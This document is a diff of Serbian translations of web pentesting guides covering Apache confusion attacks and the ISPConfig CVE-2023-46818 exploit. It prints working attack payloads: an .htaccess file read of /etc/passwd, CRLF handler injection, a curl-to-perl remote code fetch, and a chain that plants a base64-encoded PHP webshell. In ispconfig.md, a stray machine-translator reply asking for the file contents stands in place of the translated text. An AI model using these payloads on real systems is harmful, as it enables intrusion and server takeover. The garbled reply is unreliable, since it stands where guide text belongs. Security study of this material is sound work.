-- Google API keys: Ako pronađete API key koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje api-je ključ može da pristupi.
-- **S3 Buckets**: Tokom spidering-a proverite da li neki **subdomain** ili neki **link** ima veze sa nekim **S3 bucket-om**. U tom slučaju, [**check** the **permissions** of the bucket](buckets/index.html).
+- **Comments:** Proverite komentare u svim fajlovima, možete naći **credentials** ili **skrivenu funkcionalnost**.
+- Ako radite **CTF**, uobičajen trik je da **sakrijete** **informacije** unutar komentara na **desnoj strani** **stranice** (koristeći **stotine** **space** karaktera tako da ne vidite podatke ako otvorite source u browser-u). Druga mogućnost je da koristite **nekoliko novih linija** i **sakrijete informaciju** u komentaru na **dnu** web stranice.
+- **API keys**: Ako **pronađete bilo koji API key** postoji vodič koji pokazuje kako koristiti API key-e različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Ako nađete API key koji liči na **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-je ključ može da pristupi.
+- **S3 Buckets**: Dok obavljate spidering proverite da li je neki **subdomain** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** permisije bucket-a](buckets/index.html).
 
 ### Special findings
 
-Tokom izvođenja **spidering** i **brute-forcing** možete naići na **interesantne** **stvari** koje treba **primetiti**.
+Tokom **spidering** i **brute-forcing** možete naići na **interesantne** **stvari** koje treba **prihvatiti**/obraćati pažnju.
 
 **Interesting files**
 
-- Potražite **linkove** ka drugim fajlovima unutar **CSS files**.
-- [If you find a _**.git**_ file some information can be extracted](git.md)
-- Ako nađete _**.env**_ fajl, mogu se naći informacije kao što su api keys, dbs passwords i druge informacije.
-- Ako nađete **API endpoints** treba da ih [takođe testirate](web-api-pentesting.md). Ovo nisu fajlovi, ali će verovatno "izgledati" kao oni.
-- **JS files**: U sekciji spidering pomenuto je više alata koji mogu ekstrahovati putanje iz JS files. Takođe bi bilo interesantno **monitorovati svaki JS fajl koji pronađete**, jer u nekim situacijama promena može ukazivati da je potencijalna ranjivost uvedena u kod. Možete, na primer, koristiti [**JSMon**](https://github.com/robre/jsmon)**.**
-- Takođe bi trebalo proveriti otkrivene JS files sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste otkrili da li su ranjivi.
+- Tražite **linkove** ka drugim fajlovima unutar **CSS** fajlova.
+- [Ako nađete _**.git**_ fajl može se izvući neka informacija](git.md)
+- Ako nađete _**.env**_ mogu se naći informacije kao što su api keys, db lozinke i druge informacije.
+- Ako nađete **API endpoint-e** trebalo bi ih [takođe testirati](web-api-pentesting.md). To nisu fajlovi, ali će verovatno "izgledati" kao oni.
+- **JS files**: U sekciji spidering već su pomenuti alati koji mogu ekstraktovati path-ove iz JS fajlova. Takođe, interesantno je **monitorovati svaki JS fajl koji je pronađen**, jer u nekim slučajevima promena može ukazivati da je potencijalna ranjivost ubačena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
+- Treba takođe proveriti otkrivene JS fajlove sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da vidite da li su ranjivi.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- U više navrata biće potrebno **razumeti regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
-- Takođe možete **monitorovati fajlove gde su detektovane forme**, jer promena u parametrima ili pojavljivanje nove forme može ukazivati na potencijalno novu ranjivu funkcionalnost.
+- U mnogim slučajevima, biće potrebno **razumeti regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
+- Takođe možete **monitorovati fajlove gde su detektovane forme**, jer promena u parametru ili pojava nove forme može ukazivati na potencijalno novu ranjivost.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -313,21 +312,21 @@ Tokom izvođenja **spidering** i **brute-forcing** možete naići na **interesan
 
 **502 Proxy Error**
 
-Ako neka stranica **odgovori** tim **kodom**, verovatno je loše konfigurisan proxy. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i ostalim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i tada ste pronašli** SSRF.
+Ako neka stranica **odgovori** tim **kodom**, verovatno je u pitanju **pogrešno konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da pristupi _**google.com**_ **i time ste verovatno pronašli** SSRF.
 
 **NTLM Authentication - Info disclosure**
 
-Ako server koji traži autentifikaciju radi na **Windows** ili nađete login koji traži vaše **credentials** (i traži i **domain** **name**), možete izazvati **otkrivanje informacija**.\
-**Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM authentication** radi, server će u header-u "WWW-Authenticate" odgovoriti internim informacijama (IIS version, Windows version...).\
-Možete ovo **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_".
+Ako server koji zahteva autentifikaciju radi na **Windows-u** ili nađete login koji traži vaše **credentials** (i traži **domain** **name**), možete izazvati **otkrivanje informacija**.\
+**Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji funkcioniše **NTLM authentication**, server će odgovoriti sa internim informacijama (IIS verzija, Windows verzija...) unutar header-a "WWW-Authenticate".\
+Ovo možete **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_".
 
 **HTTP Redirect (CTF)**
 
-Moguće je **ubaciti sadržaj** unutar **Redirection**. Taj sadržaj **neće biti prikazan korisniku** (jer će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njemu.
+Moguće je **staviti sadržaj** unutar **Redirection**. Taj sadržaj **neće biti prikazan korisniku** (jer će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njemu.
 
 ### Web Vulnerabilities Checking
 
-Sad kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri veliki broj mogućih ranjivosti. Možete pronaći checklist ovde:
+Sada kada je urađena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri mnoštvo mogućih ranjivosti. Checklist možete naći ovde:
 
 
 {{#ref}}
@@ -342,7 +341,7 @@ Više informacija o web vuln-ovima:
 
 ### Monitor Pages for changes
 
-Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica radi modifikacija koje bi mogle uvesti ranjivosti.
+Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica na izmene koje bi mogle ubaciti ranjivosti.
 
 ### HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-web/apache.md

@@ -4,11 +4,11 @@
 
 ## Izvršne PHP ekstenzije
 
-Proverite koje ekstenzije izvršava Apache server. Da biste ih pronašli, možete izvršiti:
+Proverite koje PHP ekstenzije izvršava Apache server. Da biste ih pronašli, možete izvršiti:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-Takođe, neka mesta na kojima možete pronaći ovu konfiguraciju su:
+Takođe, neka mesta gde možete pronaći ovu konfiguraciju su:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@@ -23,12 +23,12 @@ Linux
 ```
 ## LFI putem .htaccess ErrorDocument file provider (ap_expr)
 
-Ako možete kontrolisati .htaccess direktorijuma i AllowOverride uključuje FileInfo za taj put, možete pretvoriti 404 odgovore u proizvoljna čitanja lokalnih fajlova koristeći ap_expr file() funkciju unutar ErrorDocument.
+Ako možete kontrolisati direktorijumov .htaccess i AllowOverride uključuje FileInfo za taj put, možete pretvoriti 404 odgovore u proizvoljna lokalna čitanja fajlova koristeći ap_expr file() function unutar ErrorDocument.
 
 - Zahtevi:
-- Apache 2.4 sa omogućеним expression parserom (ap_expr) (podrazumevano u 2.4).
+- Apache 2.4 sa omogućenim parserom izraza (ap_expr) (podrazumevano u 2.4).
 - vhost/dir mora dozvoliti .htaccess da postavi ErrorDocument (AllowOverride FileInfo).
-- Korisnik koji pokreće Apache mora imati prava čitanja na ciljani fajl.
+- Apache worker user mora imati dozvole za čitanje na ciljnom fajlu.
 
 .htaccess payload:
 ```apache
@@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo"
 # On any 404 under this directory, return the contents of an absolute filesystem path
 ErrorDocument 404 %{file:/etc/passwd}
 ```
-Aktivirajte to tako što ćete zatražiti bilo koju nepostojeću putanju ispod tog direktorijuma, na primer kada zloupotrebljavate userdir-style hosting:
+Pokrenite tako što ćete zatražiti bilo koju nepostojeću putanju ispod tog direktorijuma, na primer pri zloupotrebi userdir-style hosting:
 ```bash
 curl -s http://target/~user/does-not-exist | sed -n '1,20p'
 ```
 Napomene i saveti:
-- Only absolute paths work. The content is returned as the response body for the 404 handler.
-- Efektivna prava za čitanje su prava Apache user-a (tipično www-data/apache). Nećete moći da pročitate /root/* ili /etc/shadow u podrazumevanim podešavanjima.
-- Čak i ako je .htaccess u vlasništvu root-a, ako je roditeljski direktorijum u vlasništvu tenant-a i dozvoljava rename, možda ćete moći da preimenujete originalni .htaccess i otpremite sopstvenu zamenu putem SFTP/FTP:
+- Samo apsolutne putanje rade. Sadržaj se vraća kao response body za 404 handler.
+- Efektivna prava za čitanje su ona korisnika Apache (tipično www-data/apache). Nećete čitati /root/* ili /etc/shadow u podrazumevanim podešavanjima.
+- Čak i ako .htaccess pripada root-u, ako je roditeljski direktorijum u vlasništvu tenanta i dozvoljava preimenovanje, možda ćete moći da preimenujete originalni .htaccess i otpremite svoju zamenu putem SFTP/FTP:
 - rename .htaccess .htaccess.bk
 - put your malicious .htaccess
-- Iskoristite ovo da pročitate izvor aplikacije ispod DocumentRoot ili vhost config putanja kako biste prikupili tajne (DB creds, API keys, itd.).
+- Iskoristite ovo za čitanje izvornog koda aplikacije ispod DocumentRoot ili vhost config putanja kako biste prikupili tajne (DB creds, API keys, etc.).
 
 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
 
@@ -57,11 +57,11 @@ These types of attacks has been introduced and documented [**by Orange in this b
 
 #### Truncation
 
-The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
+The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). To nije potpuno pogrešno jer većina modula tretira `r->filename` kao URL. Ali u drugim slučajevima to će biti tretirano kao putanja do fajla, što može izazvati problem.
 
-### Path Truncation
+- **Path Truncation**
 
-It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
+Moguće je zloupotrebiti `mod_rewrite` kao u sledećem primeru pravila da se pristupi drugim fajlovima unutar fajl sistema, uklanjanjem poslednjeg dela očekivane putanje jednostavnim dodavanjem `?`:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@@ -74,9 +74,9 @@ curl http://server/user/orange
 curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`
 ```
-- **Mislead RewriteFlag Assignment**
+- **Zavaravajuća dodela RewriteFlag**
 
-U sledećem rewrite pravilu, sve dok URL završava sa .php biće tretiran i izvršen kao php. Stoga je moguće poslati URL koji se završava sa .php nakon znaka `?` dok u putanju učitavate drugačiji tip fajla (like an image) sa zlonamernim php kodom unutra:
+U sledećem rewrite rule-u, sve dok URL završava sa .php biće tretiran i izvršen kao php. Stoga je moguće poslati URL koji se završava sa .php nakon `?` karaktera dok se u putanji učitava drugačiji tip fajla (npr. slika) sa malicioznim php kodom unutar njega:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
 ```
 #### **ACL Bypass**
 
-Moguće je pristupiti fajlovima kojima korisnik ne bi trebalo da može pristupiti, čak i kada pristup treba biti onemogućen konfiguracijama poput:
+Moguće je pristupiti fajlovima kojima korisnik ne bi smeo da pristupi, čak i када konfiguracija treba da onemogući pristup, sa podešavanjima kao što su:
 ```xml
 <Files "admin.php">
 AuthType Basic
@@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-Ovo je zato što PHP-FPM po podrazumevanju prima URL-ove koji se završavaju na `.php`, kao `http://server/admin.php%3Fooo.php`, i zato što PHP-FPM uklanja sve što dolazi posle karaktera `?`, pomenuti URL će omogućiti učitavanje `/admin.php` čak i ako je prethodno pravilo to zabranilo.
+Ovo je zato što će po defaultu PHP-FPM primati URL-ove koji se završavaju na `.php`, kao što je `http://server/admin.php%3Fooo.php`, i pošto PHP-FPM uklanja sve posle karaktera `?`, prethodni URL će omogućiti učitavanje `/admin.php` čak i ako je prethodno pravilo to zabranilo.
 
-### Zbunjenost oko DocumentRoot
+### Confuzija oko DocumentRoot-a
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Zanimljivost vezana za Apache je da prethodni rewrite pokušava da pristupi fajlu i iz documentRoot i iz root. Dakle, zahtev za `https://server/abouth.html` će proveriti fajl u `/var/www/html/about.html` i `/about.html` u file system-u. Što u suštini može da se zloupotrebi za pristup fajlovima u file system-u.
+Zanimljiva činjenica o Apacheu je da prethodni rewrite pokušava da pristupi fajlu i iz documentRoot i iz root-a. Dakle, zahtev ka `https://server/abouth.html` će proveriti fajl u `/var/www/html/about.html` i `/about.html` u fajl sistemu. Što u suštini može biti zloupotrebljeno za pristup fajlovima u fajl sistemu.
 
-#### **Otkrivanje izvornog koda na serverskoj strani**
+#### **Otkrivanje serverskog izvornog koda**
 
-- **Otkrivanje izvornog koda CGI**
+- **Otkrivanje CGI izvornog koda**
 
-Dovoljno je dodati %3F na kraj da bi se desio leak izvornog koda cgi modula:
+Dovoljno je dodati %3F na kraj da bi došlo do leak-a izvornog koda cgi modula:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
-- **Otkrivanje PHP Source Code**
+- **Otkrivanje PHP izvornog koda**
 
-Ako server ima više domena, pri čemu je jedan od njih statički domen, to se može zloupotrebiti da se pretraži fajl sistem i leak php code:
+Ako server ima više domena, pri čemu je jedna od njih statična domena, to se može zloupotrebiti za pretraživanje fajl sistema i leak PHP code:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@@ -133,7 +133,7 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 ```
 #### **Local Gadgets Manipulation**
 
-Glavni problem prethodnog napada je što će, po podrazumevanoj konfiguraciji, većina pristupa fajl sistemu biti odbijena, kao u Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
+Glavni problem prethodnog napada je što će, po defaultu, pristup većini delova fajl sistema biti odbijen, kao u Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
 ```xml
 <Directory />
 AllowOverride None
@@ -149,7 +149,7 @@ Require all granted
 ```
 Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
 
-**Lokalni gadget za Information Disclosure**
+**Local Gadget to Information Disclosure**
 
 - **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
 - Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
@@ -157,26 +157,26 @@ Therefore, it would be possible to **abuse files located inside `/usr/share` in
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**
 
-**Lokalni gadget za XSS**
+**Local Gadget to XSS**
 
 - On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
 
-**Lokalni gadget za LFI**
+**Local Gadget to LFI**
 
 - If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
 
-**Lokalni gadget za SSRF**
+**Local Gadget to SSRF**
 
 - Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
 
-**Lokalni gadget za RCE**
+**Local Gadget to RCE**
 
 - Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
 
-#### **Jailbreak iz lokalnih gadgeta**
+#### **Jailbreak from Local Gadgets**
 
 It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
 
@@ -194,7 +194,7 @@ This attack exploits the overlap in functionality between the `AddHandler` and `
 
 Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
 
-#### **Prepisivanje handler-a radi otkrivanja PHP izvornog koda**
+#### **Overwrite Handler to Disclose PHP Source Code**
 
 In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
 Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
@@ -203,7 +203,7 @@ Because ModSecurity doesn't properly handle return values, it would return the P
 
 TODO: Orange hasn't disclose this vulnerability yet
 
-### **Pozivanje proizvoljnih handler-a**
+### **Invoke Arbitrary Handlers**
 
 If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
 
@@ -216,7 +216,7 @@ Therefore, to perform this attack is needed one of the following vulns:
 - CRLF Injection in the CGI response headers
 - SSRF with complete control of the response headers
 
-#### **Proizvoljni handler za Information Disclosure**
+#### **Arbitrary Handler to Information Disclosure**
 
 For example `/server-status` should only be accessible locally:
 ```xml
@@ -225,16 +225,16 @@ SetHandler server-status
 Require local
 </Location>
 ```
-Moguće je pristupiti tome podešavanjem `Content-Type` na `server-status` i Location header-a koji počinje sa `/`.
+Moguće je pristupiti tome postavljanjem `Content-Type` na `server-status` i Location zaglavlja koje počinje sa `/`.
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **Arbitrary Handler to Full SSRF**
+#### **Od proizvoljnog handlera do potpune SSRF**
 
-Preusmeravanje na `mod_proxy` da bi se pristupilo bilo kom protokolu na bilo kom URL-u:
+Preusmeravanje na `mod_proxy` da se pristupi bilo kom protokolu na bilo kom URL-u:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -243,9 +243,9 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-Međutim, header `X-Forwarded-For` je dodat, što onemogućava pristup krajnjim tačkama metapodataka cloud-a.
+Međutim, zaglavlje `X-Forwarded-For` se dodaje, što onemogućava pristup krajnjim tačkama metapodataka u oblaku.
 
-#### **Arbitrarni handler za pristup lokalnom Unix Domain Socket-u**
+#### **Proizvoljni handler za pristup lokalnom Unix Domain Socket-u**
 
 Pristupite lokalnom Unix Domain Socket-u PHP-FPM-a da biste izvršili PHP backdoor koji se nalazi u `/tmp/`:
 ```
@@ -254,9 +254,9 @@ Location:/ooo %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
 %0d%0a
 ```
-#### **Arbitrary Handler to RCE**
+#### **Arbitrary Handler do RCE**
 
-Zvanična [PHP Docker](https://hub.docker.com/_/php) slika uključuje PEAR (`Pearcmd.php`), alat za upravljanje PHP paketima iz komandne linije, koji se može zloupotrebiti da bi se dobio RCE:
+Zvanična [PHP Docker](https://hub.docker.com/_/php) slika uključuje PEAR (`Pearcmd.php`), alat za upravljanje PHP paketima iz komandne linije, koji se može zloupotrebiti za dobijanje RCE:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@@ -265,9 +265,9 @@ orange.tw/x|perl
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-Pogledajte [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), koji je napisao [Phith0n](https://x.com/phithon_xg) za detalje ove tehnike.
+Pogledajte [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), autora [Phith0n](https://x.com/phithon_xg), za detalje ove tehnike.
 
-## Izvori
+## References
 
 - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
 - [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)

src/network-services-pentesting/pentesting-web/ispconfig.md

@@ -2,38 +2,38 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Overview
+## Pregled
 
-ISPConfig je kontrolni panel za hosting otvorenog koda. Starije 3.2.x verzije su imale funkciju editora jezičkih fajlova koja je, kada je bila omogućena za super administratora, dozvoljavala ubacivanje proizvoljnog PHP koda putem malformisanog prevodilačkog zapisa. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, do eskalacije privilegija.
+ISPConfig je open-source kontrolni panel za hosting. Starije 3.2.x verzije su imale opciju urednika jezičkih fajlova koja, kada je omogućena za super administratora, dozvoljavala arbitrary PHP code injection putem malformiranog zapisa prevoda. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, privilege escalation.
 
-Key default paths:
-- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
-- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
+Ključne podrazumevane putanje:
+- Web root se često nalazi na `/var/www/ispconfig` kada se servira sa `php -S` ili preko Apache/nginx.
+- Admin UI dostupan na HTTP(S) vhost-u (ponekad vezan samo za localhost; koristite SSH port-forward ako je potrebno).
 
-Tip: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga:
+Savet: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga:
 ```bash
 ssh -L 9001:127.0.0.1:8080 user@target
 # then browse http://127.0.0.1:9001
 ```
-## Uređivač jezika PHP code injection (CVE-2023-46818)
+## Language editor PHP code injection (CVE-2023-46818)
 
-- Pogođeno: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
+- Pogođeno: ISPConfig do 3.2.11 (ispravljeno u 3.2.11p1)
 - Preduslovi:
-- Prijavite se kao ugrađeni superadmin nalog `admin` (prema proizvođaču, druge uloge nisu pogođene)
+- Prijavite se kao ugrađeni superadmin nalog `admin` (prema dobavljaču, druge uloge nisu pogođene)
 - Uređivač jezika mora biti omogućen: `admin_allow_langedit=yes` u `/usr/local/ispconfig/security/security_settings.ini`
-- Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl sa prevodom i izvršava od strane aplikacije, ostvarujući RCE u web kontekstu
+- Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl jezika i izvršava od strane aplikacije, postižući RCE u web kontekstu
 
 References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
 
 ### Ručna procedura eksploatacije
 
-1) Open/create a language file to obtain CSRF tokens
+1) Otvorite/kreirajte fajl jezika da biste dobili CSRF tokene
 
 Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (`csrf_id`, `csrf_key`). Primer putanje zahteva: `/admin/language_edit.php`.
 
-2) Inject PHP via records[] and save
+2) Injektujte PHP preko records[] i sačuvajte
 
-Podnesite drugi POST uključujući CSRF polja i zlonamerni zapis prevoda. Minimalne probe za izvršavanje komandi:
+Pošaljite drugi POST koji sadrži CSRF polja i maliciozni zapis prevoda. Minimalne provere za izvršavanje komandi:
 ```http
 POST /admin/language_edit.php HTTP/1.1
 Host: 127.0.0.1:9001
@@ -42,46 +42,46 @@ Cookie: ispconfig_auth=...
 
 lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
 ```
-Van-kanalni test (posmatraj ICMP):
+Out-of-band test (posmatrajte ICMP):
 ```http
 records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
 ```
-3) Pisanje fajlova i ubacivanje webshell-a
+3) Kreiranje fajlova i postavljanje webshell-a
 
-Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr. `admin/`):
+Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr., `admin/`):
 ```http
 records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
 ```
-Zatim napiši jednostavan webshell koristeći base64 da izbegneš loše karaktere u POST telu:
+Zatim napišite jednostavan webshell koristeći base64 da biste izbegli nepoželjne karaktere u POST telu:
 ```http
 records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
 ```
-Nedostaje sadržaj fajla. Pošaljite sadržaj src/network-services-pentesting/pentesting-web/ispconfig.md (ili nalepite tekst) koji želite da prevedem na srpski.
+I don't have the contents of src/network-services-pentesting/pentesting-web/ispconfig.md. Please paste the file content you want translated (or attach it). I'll translate the English text to Serbian while keeping all markdown, code, links and tags unchanged as you requested.
 ```bash
 curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
 ```
-Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` koji je pokrenuo root), to omogućava trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.
+Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` pokrenutog od strane root), ovo daje trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.
 
 ### Python PoC
 
 Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a:
-- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
+- https://github.com/bipbopbup/CVE-2023-46818-python-exploit
 
 Primer pokretanja:
 ```bash
 python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
 ```
-### Ojačavanje
+### Pojačavanje bezbednosti
 
 - Ažurirajte na 3.2.11p1 ili noviju verziju
-- Onemogućite uređivač jezika osim ako nije strogo neophodan:
+- Onemogućite uređivač jezika osim ako nije neophodan:
 ```
 admin_allow_langedit=no
 ```
-- Izbegavajte pokretanje panela kao root; podesite PHP-FPM ili web server da spusti privilegije
+- Izbegavajte pokretanje panela kao root; konfigurišite PHP-FPM ili web server da spuste privilegije
